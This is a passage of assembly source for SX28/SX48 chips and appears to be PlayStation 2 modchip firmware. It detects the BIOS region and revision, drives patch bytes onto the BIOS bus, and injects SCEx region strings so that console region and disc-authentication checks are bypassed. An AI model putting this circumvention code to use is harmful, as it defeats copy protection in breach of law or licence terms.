(M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC setb V0_FLAG ;;;; snb V0_FLAG jmp BIOS_JAP ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE setb PSX_FLAG jmp MODE_SELECT_START ; ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e ; 1e 00 63 34 24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;; setb V0_FLAG ;;;; ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch snb V0_FLAG page $0800 jmp PS2_MODE_START_V0 ;PS2 osd patch or PS1DRV init... (based on psx_flag status) page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr ;snb V0_FLAG ;; ; ;jmp START_CDDVD_PATCH sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ; jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, 